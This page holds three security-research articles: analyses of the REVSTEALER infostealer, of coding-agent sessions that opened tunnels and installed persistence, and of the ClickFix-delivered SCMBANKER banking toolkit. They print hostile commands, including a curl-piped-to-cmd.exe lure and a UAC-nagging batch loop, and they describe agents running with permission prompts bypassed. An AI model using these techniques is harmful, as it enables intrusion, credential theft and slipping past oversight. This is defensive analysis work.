Jia Yu Chan - Elastic Security Labs

REVSTEALER ramps up: analysis of up-and-coming infostealer

Daniel Stepanic,Salim Bitam,Jia Yu Chan — Wed, 02 Sep 2026 00:00:00 GMT

Elastic Security Labs is tracking an emerging infostealer, REVSTEALER, under REF2859. This family has gained momentum in recent months, with higher distribution volume, and has emerged as a formidable threat, featuring a comprehensive credential harvester, an embedded sandbox scoring system, and a Polygon blockchain-based dead drop for resilience. Beyond credential theft, REVSTEALER targets gaming platforms for additional monetization; the developer clearly understands that victim accounts on these platforms hold real monetary value in resale markets.

Gen Threat Labs first covered REVSTEALER earlier this summer, detailing its core features. In this research publication, we will walk through how it’s distributed, cover its main features, and share observed infrastructure. For readers who prefer more in-depth technical details on the malware, we are also releasing a whitepaper covering the family. We are also releasing an IDAPython string decryption script for anyone working with samples directly.

The white paper is located here and contains an in-depth analysis of REVSTEALER and REF2859.

Key takeaways

Large volume of samples (~4700) on VirusTotal over the past year, with varied submission context
Comprehensive stealer component targeting browsers, VPN/chat applications, password managers, gaming platforms. Includes ABE debugger-based bypass.
Weighted anti-analysis checks (sandbox scoring system)
EtherHiding - Polygon-based dead drop for resilient infra swapping
Tasking delivers four modules, not previously documented publicly
Widespread use of VMProtect packer in most REVSTEALER samples; unpacked samples display a verification prompt similar to LummaStealer and AuraStealer

Attack vector

Gen Threat Labs documented REVSTEALER reaching victims through a social-engineering path targeting gamers by advertising free cheats and mod menus. Building on this reporting, we identified at least 17 YouTube channels promoting the two related domains elitecheatsx[.]live and resight-cheats[.]net.

In the campaigns we observed, this took the form of YouTube account takeovers. Existing channels with established subscriber bases were hijacked and used to post short (1–2 minute) AI-generated videos demonstrating the "cheats" and linking viewers to the malicious sites.

The game-cheat campaign is only one observed presentation. Related VirusTotal submissions used names and file metadata that impersonated unrelated, recognizable software, including Slack, qBittorrent, Steel Series GG, Blender, and many more. This breadth suggests the builds are packaged for multiple lure themes, not just gaming-focused campaigns. We also ran a Retrohunt with our YARA rule, which returned about 4,700 matching samples across VirusTotal’s database over the past year.

Many of the samples we analyzed were packed with VMProtect, but the malware code was mostly recoverable through memory dumping.

Features

Development

Across its design, REVSTEALER reflects a developer building for long-term operational use. The malware incorporates features such as self-deletion, indirect syscalls, API hashing, string encryption, mechanisms to avoid user-mode hooks, and custom exception handling.

Unlike most commodity stealers, REVSTEALER seems to put more effort into validating its targets; this is evident in its cryptocurrency wallet harvester, which uses a multi-layer architecture with a discovery engine followed by a collector that applies wallet-specific extension filters to extract only relevant files.

CIS exclusion checks

Before REVSTEALER qualifies the victim machine, it first checks the machine's default/system languages and keyboard layout using a custom FNV-1a hash lookup. It retrieves each value from the machine, hashes it, and compares it against an embedded table of precomputed values representing the Commonwealth of Independent States (CIS) locales. If any of these three checks match, the malware terminates.

Sandbox scoring system

To determine whether the malware is running in a genuine environment, REVSTEALER integrates a custom sandbox scoring system using ten checks. Each check assigns a specific number of points based on sandbox characteristics such as low total physical RAM or CPU core counts.

If the total score is 7 or higher, the malware determines the machine is likely running in a sandbox environment and then self-terminates.

The following checks are used in this feature:

Process Blocklist (Type 0)
CPU Core Count (Type 1)
RAM Threshold (Type 2)
GPU / PCI Vendor Check (Type 3)
Username / Computer Name Blocklist (Type 4)
System Uptime (Type 5)
Sleep / Timing Check (Type 6)
Media Foundation Check (Type 7)
CPUID Check (Type 8)
Virtualization Check (Type 9)

Several of these checks hash values such as process names or usernames using a custom FNV-1a hash algorithm and compare the result against an embedded table. This method ensures no plaintext strings appear in the binary and prevents static analysis tools from seeing them.

Credential harvesting

REVSTEALER targets browser credentials and cookies, cryptocurrency wallets, and browser extensions. This includes 225 Chromium extension identifiers spanning cryptocurrency wallets and password managers, alongside 51 standalone wallet applications. It also collects data from messaging clients, gaming platforms, VPNs, FTP clients, OBS Studio, Windows Sticky Notes, and 2FA applications, along with selected documents and configuration files from user directories and non-system drives.

REVSTEALER’s Chromium support includes an implementation for bypassing App-Bound Encryption. To obtain the App-Bound key, it launches a browser process under debugger control, locates code associated with App-Bound decryption, and sets a nearby hardware breakpoint. When the breakpoint triggers, the malware reads the decrypted key directly from the browser’s memory. The implementation was likely influenced by the public ElevationKatz project (under ChromeKatz).

Payload watermarking

The developer places a 16-byte watermark at the end of raw payloads and validates it at runtime. Packed builds do not trigger the check because the watermark is no longer located at EOF. When a watermarked raw copy is launched, a verification window requires the user to enter a random six-character token in order to proceed with execution. This discourages distribution of unprotected payloads while also hindering sandbox analyses. Similar techniques have been observed in Lumma Stealer and AuraStealer.

Polygon dead drops as fallback

Each REVSTEALER build contains a primary C2 address and a Polygon smart-contract address. If the primary server is unavailable, REVSTEALER queries up to 5 public Polygon JSON-RPC endpoints, reads data from the contract, and decrypts a fallback C2 address using an embedded AES key.

Below are examples of extracted C2 hosts and Polygon dead drop configurations from three REVSTEALER samples with different themes.

Sample sha-256: 8b33e0f32c42a317e3d9cd67d5a6dc68e91a6cf9dd44742162858e7d83cf2073
File Name: SteelSeriesGG.exe
Configuration(c2=b'polygon.iwmukj[.]xyz:443', polygon_contract_address=b'0x7e4126ADFE6679B3613F629CD49162Fb08fc53Bd', contract_function_selector=b'0xdbefdad6', contract_return_aes_key='f07666ac22dfa1a361b8a8576baf69eadaf15431db9f3c34e93334d8d2f8d691')

Sample sha-256: bd97d5cab2d09b001d1b9e08890bce1a2b2cf8542a4b31c86b2def59328cafb2
File Name: slack.exe
Configuration(c2=b'polygon.mnyhgxda[.]xyz:443', polygon_contract_address=b'0x0EC6a6D31b36271eBD06450EA98c84eBa8a191d5', contract_function_selector=b'0xd21368b4', contract_return_aes_key='5c30efd5b9ff75023c3813705f5c47feccc496f439b24b3e572db4c3b08dffe3')

Sample sha-256: 1617552169df805405b1bb70f742d6eac5af342f31c6e39ff6b9613bd2392354
File Name: qBittorrent.exe
Configuration(c2=b'static4.livelab[.]one:443', polygon_contract_address=b'0x49cE5712164755ed212209bc71539bBc6fCFF541', contract_function_selector=b'0x071258c6', contract_return_aes_key='83f5b4ca629681abab2b9680472a304572a8c91b4a8ccc1189fbf58c6186db09')

Looking up one of the contract addresses on OKLink, there is an initial transaction to create a Polygon contract (bytecode prefix 0x60806040), initialized with an encrypted fallback C2 endpoint.

Victim profiling

Before any stealing components are launched, REVSTEALER profiles the victim machine, collecting the following data:

| Name | Note | | :---- | :---- | | System/OS info | Current timestamp, machine fingerprint, system locale, CPU info, RAM, Windows OS version, GPU name, host name, username, token integrity of user, timezone, keyboard layout, screen resolution | | Environment variable dump | Uses GetEnvironmentStringsW to dump full environment block that can commonly hold sensitive material | | Process listing | Collects all running processes | | Installed applications | Collects all installed applications via Windows uninstall registry key path (SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall) | | Windows clipboard | Collects the latest clipboard data using OpenClipboard / GetClipboardData | | Screenshot capture | Captures a full screenshot of the victim machine |

Gaming platforms

REVSTEALER has a deliberate focus on gaming platforms, harvesting sensitive materials, authentication tokens, and session cookies from popular platforms such as Blizzard’s Battle.net, EA Desktop, and Steam, along with targeting specific games such as Roblox and Minecraft. Instead of broadly sweeping the entire victim machine, the malware targets file paths, looking for configuration/settings files for each platform/game. For some of these targets, such as Roblox, REVSTEALER uses CryptUnprotectData to decrypt the user’s session cookie, enabling full account takeover without the user’s password.

The following table lists the gaming targets and their paths:

| Platform/Game | File path | | :---: | ----- | | Battle.net (Blizzard) | %LOCALAPPDATA%\Battle.net\Battle.net.config | | Battlestate Games | %APPDATA%\Battlestate Games\BsgLauncher\settings | | Electronic Arts | %LOCALAPPDATA%\Electronic Arts\EA Desktop\*.ini | | Roblox | %LOCALAPPDATA%\Roblox\LocalStorage\RobloxCookies.dat | | Steam | %LOCALAPPDATA%\Steam\local.vdf, %LOCALAPPDATA%\Steam\loginusers.vdf | | Minecraft | %USERPROFILE%\intentlauncher\launcherconfig
%USERPROFILE%\.lunarclient\settings\game\accounts.json
%APPDATA%\.minecraft\TlauncherProfiles.json
%APPDATA%\.feather\accounts.json
%APPDATA%\.minecraft\meteor-client\accounts.nbt
%APPDATA%\.minecraft\Impact\alts.json
%APPDATA%\Badlion Client\accounts.json
%APPDATA%\.minecraft\launcher_accounts.json
%APPDATA%\.minecraft\launcher_profiles_microsoft_store.json |

Four follow-on modules delivered by C2 tasking

REVSTEALER can receive additional executable content through C2 tasks. We recovered four related, self-contained payloads that extend its capabilities beyond credential theft.

Despite their distinct roles, all four REVSTEALER modules follow a common design pattern: obfuscated configuration, VMProtect-style protection, and Polygon smart contracts used as dead drops for replaceable settings, including C2 endpoints and XMRig’s command line.

REVSTEALER technical white paper

Elastic Security Labs presents a comprehensive technical analysis of REVSTEALER, covering its full capabilities, network communications, anti-analysis, sandbox scoring system, EtherHiding techniques, and follow-on modules.

You can find the technical white paper here.

String decryption script for REVSTEALER in IDA Pro

Using the nightMARE framework, our team is releasing an IDAPython script available for download here. This tool can place decrypted strings in the IDA Pro decompiler to help analysts pinpoint the malware’s functionality.

REVSTEALER and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting and preventing REVSTEALER

Detection rules for REVSTEALER

Network Activity to a Suspicious Top Level Domain

Prevention rules for REVSTEALER

YARA rules for REVSTEALER

Elastic Security has created YARA rules to identify this activity.

Windows.Trojan.RevStealer.yar

Observables and indicators of compromise

This research discusses the following observables.

All observables are also available for download.

References

The following were referenced throughout the above research:

Gen Threat Labs REVSTEALER coverage on X

Living off the coding agent: Two tales of tunnels and LaunchAgents

Mika Ayenson,Jia Yu Chan — Fri, 07 Aug 2026 00:00:00 GMT

Coding agents such as Claude Code and Cursor are vendor-signed, used all day on developer laptops, and routinely open shells, call APIs, edit files, and install helpers. That makes GenAI-adjacent alerts challenging to investigate. The parent looks trusted, while the children can still look a lot like classic high-severity activity.

This article walks through one of those windows. On a macOS endpoint, Elastic Security endpoint telemetry showed shells under Claude Code that scripted a login to an ephemeral tunnel hostname, pulled application metrics, stood up a Cloudflare quick tunnel, and installed LaunchAgent persistence. Immediate children were often shells (zsh) and helpers under that ancestry, not Claude executing every binary itself.

The outcomes Endpoint cares about are still there. Credentials show up on the wire, along with reverse tunnels and LaunchAgents. The destinations and command shapes also line up with known free tunnel providers (localhost[.]run / lhr[.]life, trycloudflare, ngrok, etc.), a local loopback app pattern, and ordinary SaaS APIs. Put together, the same telemetry can read like a remote admin of a local dashboard with agent help, which is exactly why these alerts are hard to triage.

Below we walk the multi-day suspicious activity and the 23 Jul window stage by stage, name the known dual-use tools, show which production rules fired, and describe challenges detection engineers and analysts encounter when investigating these alerts.

Key takeaways

Agent-parented reverse tunnels and LaunchAgents can expose a local admin app to the internet. Treat that as high severity even when it looks like vibe-coded ops, not confirmed malware.
Known free tunnel brokers (localhost[.]run / lhr[.]life, Cloudflare Quick Tunnels, ngrok) show up next to credentialed HTTP and LaunchAgents in the same session.
The hard part for detection engineers is validation. Trusted coding-agent parents, dual-use destinations, and high-severity outcomes can all arrive in one alert pile.

Coding agent activity analysis

Two hunt paths landed on the same host on July 23, 2026. One started from VirusTotal reputation on a domain contacted under the agent lineage. The other started from correlated endpoint behavior alerts, including the production rule Persistence via GenAI Tool. Together they rebuilt one sequence rather than a pile of unrelated noisy events.

That was not the first Elastic Defend signal on the host. Telemetry already showed event.code: malicious_file and behavior activity from July 20, 2026 onward. Most of it was tunnel and VPN-class binaries, noisy GenAI-adjacent alerts, followed by credential posts and LaunchAgent persistence the hunts highlighted.

macOS developer endpoint: Where this showed up

The activity sits on a macOS developer endpoint where Claude Code (and in related cases Cursor) was already installed and in use. The practical class is a workstation that trusts signed coding agents to open shells, edit files, call APIs, and install helpers.

How the Claude Code session staged the chain

From telemetry, the session needed to run tooling with fewer approval prompts, reach a tunnel-published URL, expose a local service without inbound firewall changes, keep that path alive, and check related processes. Those steps show up as ordinary process, file, and network event types under a coding-agent parent.

Known dual-use tools in this window include localhost[.]run (free SSH tunnels on *.lhr[.]life), Cloudflare Quick Tunnels (*.trycloudflare[.]com / api.trycloudflare[.]com), and an ngrok binary. VirusTotal flags on broker apexes (root domain) remain useful hunt signals because those services get abused. In this session, the tunnels sit next to publish-localhost behavior and follow-on requests to /login and /api/summary on the public URL.

On this endpoint, the observed goals were as follows.

Run tooling through an approved coding agent with fewer human approval prompts
Authenticate over HTTP(S) to a tunnel-published URL and pull application metrics
Expose a local service to the internet without opening inbound firewall ports
Keep a reverse tunnel alive across logout or reboot, polling that the public link stays up
Check related processes while that access was being built

Each goal shows up under a coding-agent parent. Immediate children were usually shells (zsh) under Claude Code, not Claude executing every binary itself. The raw alert shape still looks like living-off-the-agent activity. The destinations and command shapes give analysts more to work with when they open the case.

In the above image, a Claude Code session (Stage 1) parented credentialed HTTP against ephemeral tunnel hostnames and a metrics pull (Stage 2), a Cloudflare quick tunnel that published localhost (Stage 3), and LaunchAgent material that kept access alive (Stage 4). Stage 2 is where investigation gets interesting, with credentials on a free-tunnel URL under agent ancestry.

Related coding-agent parented cases

The tunnel and LaunchAgent window is one full chain. Separately, we also reviewed shorter cases on other hosts where a coding agent is still the execution parent.

Variant A: Claude Code as effective parent, with Apple-signed Python and osascript dropping and re-running JavaScript under /tmp (LOLBin staging).
Variant B: A Cursor agent session that tried a decrypted keychain dump filtered toward Linear and Model Context Protocol (MCP) OAuth material; endpoint controls blocked the dump in the case we reviewed (T1555.001).
Variant C: Claude Code with permission bypass pulled an unsigned binary over plaintext HTTP, tried quarantine stripping and ad-hoc re-signing, and probed ~/.zshenv as a persistence canary.

Observed activity flow

Days leading into the window

Before the alerts on the July 23 session, the same host had already been noisy in
Defend for several days:

| When (UTC) | Activity | Why it matters | | :---- | :---- | :---- | | July 20, 2026 | malicious_file on tunnel/VPN-class binaries (pritunl-client, later wireguard-go) plus discovery-oriented SIEM alerts | Tunnel tooling lands on the host days before the Claude Code session | | July 21, 2026 | Production Suspicious Python Script Execution and Network Connection: zsh -> python3 /tmp/mcp_clean_landers.py -> . Same day: cat touched Claude project memory under ~/.claude/projects/*/memory/MEMORY.md | Scripted analytics-style activity under a shell two days before the LaunchAgent window; durable agent memory touch outside usual Claude writers | | July 22, 2026 | Spike in GenAI or MCP Server Child Process Execution | Agent children get louder (often benign tooling); useful as timing and ancestry context | | July 23, 2026 | Credentialized HTTP to lhr[.]life / trycloudflare, cloudflared, LaunchAgents, plus malicious_file on ngrok (earliest under zsh, later also under launchd) | The multi-stage chain below; second tunnel binary appears the same day |

Malware classifications on commercial VPN clients can be dual-use noise. What matters here is the sequence: tunnel binaries and rising agent-child volume for days, then agent-parented credential posts, reverse tunnels, and LaunchAgent persistence in one window.

On July 21, 2026, we observed a process tree zsh -> python3 /tmp/mcp_clean_landers.py with an outbound HTTPS connection (analytics..dev). From the script shape, the calls appear related to a plaintext MCP-style analytics client request under a shell where its request bodies are JSON-RPC method calls to retrieve data, and not data being sent out.

The same calendar day also showed a write to Claude project memory (MEMORY.md under ~/.claude/projects/*/memory) by a generic utility cat, not the Claude process. One plain reading is agent self-update of durable context (for example cat > MEMORY.md). The touch can sit hours away from other activity in the window.

During the July 23rd session

The July 23rd window starts with Claude Code already usable as a vendor-signed parent. Sessions in this window included permission-bypass flags such as --allow-dangerously-skip-permissions, so later tool calls needed fewer human clicks. Developers turn modes like that on for speed. From the endpoint's point of view, the parent still looks like a normal vendor binary. What matters is the flag set plus what the children do afterward.

Stage 2 traffic included hosts under lhr[.]life and Cloudflare Quick Tunnel names (*.trycloudflare[.]com). lhr[.]life is the free subdomain space for localhost[.]run, an SSH-based free tunnel provider in the same class as Cloudflare Quick Tunnels and ngrok. Next to credential posts under Claude Code, these look like access plumbing for a published local service.

!VirusTotal domain view for lhr[.]life. Multiple engines mark malicious or phishing, and community tags include potential C2.

![Live apex for lhr[.]life when no active tunnel is bound ("no tunnel here"). That is the unbound free-broker page. It does not clear the alert, and it does not confirm abuse by itself.](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3ba4ca66c6caa98c/6a8832ad8433ee464183e36e/coding-agent-launchagent-tunnel-image4.png 'Live apex for lhr[.]life when no active tunnel is bound ("no tunnel here"). That is the unbound free-broker page. It does not clear the alert, and it does not confirm abuse by itself.')

Credentialized HTTP(S) under the agent

With a shell under the agent, an outbound curl came next.

# Shape only (credentials redacted)
URL="https://.lhr[.]life"
# poll /login until HTTP 200 (проверка = "check")
curl -X POST "$URL/login" -d 'user=...&password=...'
curl "$URL/api/summary?from=...&to=..." | jq '{spend}'

!Discover view of process.parent.command_line for outbound curl to *.lhr[.]life on 23 Jul. Claude Code zsh shell-snapshot wrapper, credentialized POST to /login (credentials redacted), then a cookie-authenticated /api/summary pull filtered to {spend}.

This parent command line is a readiness loop. It polls /login until HTTP 200, authenticates, then pulls a {spend} summary. Session files under/tmpand status strings like проверка ("check") show up in the same wrapper. Response bodies were discarded (-o /dev/null) during auth checks. The public host is alocalhost[.]run` free-tunnel URL.

curl -X POST 'https://.trycloudflare[.]com/login' -d 'user=...&password=...'
curl 'https://.trycloudflare[.]com/...' | jq '{spend, ads}'

Why this reads as suspicious at first glance: a credential is POSTed in plaintext over an anonymized free-tunnel URL under coding-agent ancestry, the loop-until-200 pattern resembles C2 check-in, and the Cyrillic status strings add apparent attribution weight. Same actions can be self-testing a published local app or credentialed access to an exposed service.

The sequence authenticates to a tunnel-published app URL and pulls metrics such as spend and ads. Credentials in process command lines under coding-agent ancestry still matter for Endpoint and for anyone opening the alert.

What we can show cleanly is agent-parented credentialized HTTP to a known free tunnel broker, plus reverse-tunnel and LaunchAgent follow-ons that can expose a local admin app. VT hits on the broker apex, and odd apex pages sit in that same dual-use bucket. They are part of the case file, not a final judgment. Production coverage that fired here includes Unusual Network Connection to Suspicious Top Level Domain.

.lhr[.]life (localhost[.]run free-tunnel subdomain)." title="Unusual Network Connection to Suspicious Top Level Domain on 23 Jul. Destination [redacted].lhr[.]life (localhost[.]run free-tunnel subdomain)." />

Publish localhost with a reverse tunnel

The same session started cloudflared against a local port through Cloudflare’s quick-tunnel control plane.

# Reconstructed (no process.args captured), a typical quick-tunnel invocation looks like:
cloudflared tunnel --url http://localhost:
# control-plane contact includes api.trycloudflare[.]com

The usual mechanics here are ingress. The local process opens an outbound control channel to the broker, the broker publishes a public URL, and remote clients reach a service on the laptop without classic port forwarding. cloudflared talking to api.trycloudflare[.]com is the control plane for that hole-punch. Together with the credentialized HTTP stage, the session publishes localhost and then exercises the public URL. The matching production alert was Unusual Network Connection to Suspicious Web Service.

The same day, Defend also raised a malicious_file event on an ngrok binary in the project tree. The earliest hit in the window sat under a zsh parent; later activity also appeared under launchd. Another tunnel front beside cloudflared. VirusTotal labels the sample as adware/hacktool ngrok.

LaunchAgents for the tunnel and a watchdog

Under the same agent activity, LaunchAgent material was written and loaded: a watchdog agent configured with PlistBuddy and reloaded with launchctl bootstrap, alongside tunnel-keeper style agents in the same com...* family (server, ngrok, lhr, tunnel, watchdog). Program args and naming can point at keeping a local dashboard and its tunnels alive across sessions.

PlistBuddy -c "Set :StartInterval 60" ~/Library/LaunchAgents/com...watchdog.plist
launchctl bootout gui/$(id -u)/com...watchdog

launchctl bootstrap gui/$(id -u)
~/Library/LaunchAgents/com...watchdog.plist

# then: curl -s -o /dev/null -w "…: %{http_code}"
https://.trycloudflare[.]com/login   (liveness)

Shells and temp files disappear when the session ends. LaunchAgents with KeepAlive and a liveness loop do not. Installing LaunchAgents that keep a reverse tunnel (or the app behind it) alive should stay loud even when the parent is a trusted coding agent. This stage is where production rule Persistence via GenAI Tool fired.

Process discovery in the same session

The session also ran process discovery helpers, for example pgrep patterns tied to related workloads. By itself, that is low severity. In sequence with the stages above, it can look like checking that related services were still up, rather than hunting defensive tools. Related production coverage included Process Discovery via Built-In Applications.

The same host also triggered the GenAI or MCP Server Child Process Execution rule. That building block rule tracks GenAI parents spawning children, including routine tooling such as git status, but also more alarming commands like security find-generic-password -a -w -s "Claude Code-credentials", a Keychain read that prints Claude Code’s OAuth token to STDOUT; but this is documented as expected Claude Code behavior.

Coding-agent parented activity through MITRE ATT&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures. The mapping below describes technique shape in telemetry so hunters can pivot across similar activity.

Tactics

Tactics represent the why of a technique or sub-technique. They are the tactical goal for performing an action.

Techniques

Techniques represent how a tactical goal is achieved.

Detecting coding-agent parented chains

Detection

The following detection rules and building-block alerts were observed throughout analysis of this host window (diagnostic-only alerts are omitted):

Unusual Network Connection to Suspicious Top Level Domain
Unusual Network Connection to Suspicious Web Service
GenAI or MCP Server Child Process Execution (building-block volume / ancestry)
Process Discovery via Built-In Applications

No single production rule owns the full sequence. SIEM network rules catch reputation-bad or dual-use egress. Building blocks supply ancestry and discovery context. Correlate them with endpoint outcomes, especially when the parent is a trusted coding agent. Practical handling for windows like this:

Keep the high-severity outcomes loud. Credentialized HTTP, reverse tunnels, and LaunchAgents under coding-agent ancestry should not be auto-closed because Claude or Cursor is in the tree.
Name the destination class early. localhost[.]run, Cloudflare Quick Tunnels, and ngrok hosts are dual-use. Record that before leaning on rare-TLD or VirusTotal labels alone.
Prefer session context over single-event reputation. Readiness loops, publish-localhost followed by /login and /api/summary, and LaunchAgents that keep those tunnels up are stronger pivots than an apex page that says "no tunnel here."
Separate volume from outcome. GenAI child-process building blocks are ancestry and timing context until secrets, tunnels, or persistence show up.
Document both readings when the evidence supports them. The same chain can be a remote admin of a local dashboard or something more serious.

Prevention

The following Elastic Defend behavior prevention events were observed:

Conclusion

This window teeters between two readings that share the same telemetry shape. On one side, agent-parented credentialized HTTP, reverse tunnels, and LaunchAgents are exactly the outcomes Endpoint is supposed to surface. On the other, the destinations and command shapes line up with known free tunnel brokers and remote exercise of a local admin app. Reputation labels and unbound broker apex pages do not break that tie by themselves.

That ambiguity is the GenAI detection-engineering problem, and it will get harder as coding agents stay in the trusted parent path for more of the work developers already do with shells, APIs, and helpers. The useful response is not to suppress the high-severity outcomes, and not to force every dual-use tunnel into a confirmed intrusion narrative. Keep the alerts, name the tool class, rebuild the session, and write down what the evidence can and cannot support.

References

The following were referenced throughout the above research:

ClickFix to Cash-Out: Anatomy of a Mexican Banking-Fraud Toolkit

Jia Yu Chan,Salim Bitam — Wed, 08 Jul 2026 00:00:00 GMT

A Mexican banking fraud operation we're tracking as REF6045 doesn't run on autopilot. A human operator is behind the wheel, monitoring infected machines and deciding what happens next. Victims are infected through fake CAPTCHA pages that trick them into running a single command, which installs SCMBANKER, a PowerShell toolkit with components dating back to at least October 2025. Once installed, the operator can see when a victim opens a banking session, lock the screen behind a fake bank warning, push the victims toward live phone interaction, redirect the browser, or replace account numbers copied to the clipboard. For a full takeover, they can also deploy a commercial remote-access tool.

Key takeaways

REF6045 adapts ClickFix delivery into operator-assisted banking fraud, using fake verification pages to stage a PowerShell toolkit (we’re calling SCMBANKER) on victim machines.
SCMBANKER gives operators a full fraud workflow: banking-session monitoring, screenshot capture, vishing overlays, phishing redirects, clipboard manipulation, and Remote Utilities installation.
SCMBANKER heavily targets Mexico’s financial ecosystem, including retail banks, business banking portals, fintechs, payment processors, cryptocurrency exchanges, investment platforms, SAT, and telecom services.
Operator OPSEC failures, including open directories, a leaked web-root archive, and an unauthenticated file editor, expose the operation’s tooling and targeting logic.
The scripts are riddled with AI-generated artifacts, indicating that the operator used an LLM to write most of the tooling.

How Elastic Security Labs discovered REF6045

On June 18, 2026, Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts from an open directory at http://68.211.161[.]46/files/. The open directory allowed us to retrieve the individual agent scripts directly, and from the same server, we recovered an archive, zkt.zip, containing the operation's full web root before it was removed.

At the web root of http://68.211.161[.]46/, we found a ClickFix fake-CAPTCHA flow that presented itself as a security verification page. The page first asked the visitor to complete an image challenge, including a Spanish prompt to select fire hydrants, before moving into the familiar Windows Run verification instructions. The command fetches validation.txt from the same web server and pipes it directly into cmd.exe, using the lure text “Google Verificación Segura (Version 2025.5755)”. The page also sends a POST request to a tracking endpoint at https://ww.ssinvestigaciones[.]com/login3.php.

Because navigator.clipboard.writeText() requires a secure, focused browser context to copy the malicious command to the victim's clipboard, the original IP (http://68.211.161[.]46/) was unlikely to be the only victim-facing delivery path. We identified multiple HTTPS ClickFix hosts that reused the same command pattern and pointed victims back to the exposed file servers for validation.txt.

The observed ClickFix and file-server variants are included in the following table. The C2 values were extracted from the PowerShell scripts hosted under each /files open directory.

SCMBANKER's execution chain

The initial infection chain described below uses the monteviral2026.duckdns[.]org ClickFix page as an example, but the observed variants follow the same pattern: they present a CAPTCHA-style verification page, including an image challenge, before copying a command to the clipboard and instructing the victim to run it from the Windows Run dialog.

Below is an example command line:

cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit #                                                     CIoudfIare            Google Verificación Segura (Version 2025.5755)

Decoy strings CIoudfIare with capital-I homoglyphs, and the Google Verificación Segura version text are reproduced verbatim.

Despite the .txt extension, it is a Windows batch script that prepares the host and sets up the full toolkit in six different stages.

Fake update smokescreen

The batch script immediately launches Microsoft Edge in kiosk mode pointing to fakeupdate[.]net, a well-known pentesting/red team site that renders a fake Windows Update screen. This distraction buys time for the script to fully execute.

start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen

UAC consent fatigue loop

Next, the malware checks if it is running as admin via net session. If it is not elevated, it shows a social-engineered message "Windows: Se requieren permisos de administrador para actualizar su sistema…" (Administrator permissions are required to update your system…), and relaunches itself with -Verb RunAs every 20 seconds, frustrating and forcing the victim to click “Yes” on the UAC consent prompt.

:check
net session >nul 2>&1
if %errorlevel%==0 goto admin
echo Windows: Se requieren permisos de administrador para actualizar su sistema...
powershell -Command "Start-Process '%~f0' -Verb RunAs"
timeout /t 20 >nul
goto check

Cursor trap

Once elevated, an inline PowerShell P/Invoke call to user32.dll!ClipCursor confines the mouse to a single 1x1 pixel rectangle at the screen center, locking any mouse movement. This is paired with the fake Windows Update screen to encourage the victim to stay idle, giving time for the malware to download the full toolset in the background without interruption.

Downloading the SCMBANKER toolkit via bitsadmin

All malicious scripts, files, and binaries are pulled individually via bitsadmin from http://68.211.161[.]46/files/ to C:\Users\Public\.

SCMBANKER's persistence: registry Run key and startup folder

Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon, plus a one-shot infection marker:

Run key: HKCU\...\Run, value "run", runs hidden PowerShell launching run.vbs.
Startup folder: run.vbs dropped to three path variants (%APPDATA%, %USERPROFILE%\AppData\Roaming, and the legacy XP %USERPROFILE%\Start Menu).
RunOnce timestamp: value "id" writes %date% %time% to C:\Users\Public\id.txt once on next logon, then self-deletes.

Forcing a reboot to trigger persistence

The script sends an F11 keypress to exit fullscreen, followed by a Ctrl+W keypress sequence to close the fake Windows Update tab. However, this approach only works in a standard fullscreen browser window, not in kiosk mode. It then forces a reboot with the shutdown /r /t 02 command. Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file (run.vbs).

The SCMBANKER toolkit

run.vbs: SCMBANKER's master launcher

The VBScript (run.vbs) is the master launcher. It uses WScript.Shell.Run with a hidden window style and Invoke-Expression to start the toolkit's modules in parallel:

run.vbs launches the following modules:

| Script | Role | | ----- | ----- | | rotor2.ps1 | Long-running process-mutation rotator for mensaje1.ps1 (vishing module) | | ini.ps1 | Delayed launcher for jujuzkt.ps1 (banking activity monitor) | | remo.ps1 | IP-gated launcher for jujuzkt2.ps1 (phishing redirect module) | | edifhjwe.ps1 | Toolkit updater | | cliente.ps1 | C2 beacon / implant control channel | | avs.ps1 | Remote Utilities RAT installer downloader | | clip.ps1 / clip2.ps1 | CLABE and card-number clipboard hijackers | | correr.ps1 | Arbitrary PowerShell executor | | cursor2.exe | Invisible-cursor utility (compiled AutoIt). Replaces every system cursor type with an invisible cursor at C:\Users\Public\invi.cur |

Pivoting in VirusTotal, we discovered earlier versions of the toolkit components, suggesting the tooling has been in use since at least October 2025 and has been iterated on for several months.

C2 beacon and victim management

Every 30 seconds, cliente.ps1 collects a machine profile and performs an HTTP POST request to https://negratomasa2026[.]online/dashboard2/recData.php:

The following table represents this request data and its associated fields:

| Field | Source | Purpose | | ----- | ----- | ----- | | machine_name | $env:COMPUTERNAME | Victim identification | | client_id | GUID in client_id.txt | Unique implant ID (persists across reboots) | | ip_local | Get-NetIPAddress | Internal network recon | | ip_public | api.ipify.org | External IP for geolocation and targeting | | comentario | comentario.txt | Operator's notes/label for this victim | | idInternet | id.txt | Infection timestamp | | remoto | agent.txt | RAT installation status (default: SIN REMOTO AUN) | | comando | comando.txt | Last command received | | optUpdate | hardcoded “update” | Meant to flag whether the remote tool is installed, but it's overridden to always say "update" (likely debugging leftover) | | timestamp | Unix epoch | Beacon time |

The C2 response contains two operator-controlled fields.

The data from the comentario field is saved to comentario.txt and stores the operator’s label or notes for the victim.

The data from the comando field is saved to comando.txt. Other modules poll that file for operator instructions:

avs.ps1 handles MSI URLs.
edifhjwe.ps1 handles ZIP update packages.
correr.ps1 handles PowerShell-prefixed execution requests.

The following image shows the server response parsing logic.

Banking activity monitor

The primary banking activity monitor is a PowerShell script (jujuzkt.ps1), but it also has optional active branches:

URL injection when a configured target has a redirect URL, and
a commented-out keylogger rotator path via rotor.ps1.

After a short startup delay, invoked by ini.ps1, the banking monitor script refreshes three configuration files every five minutes.

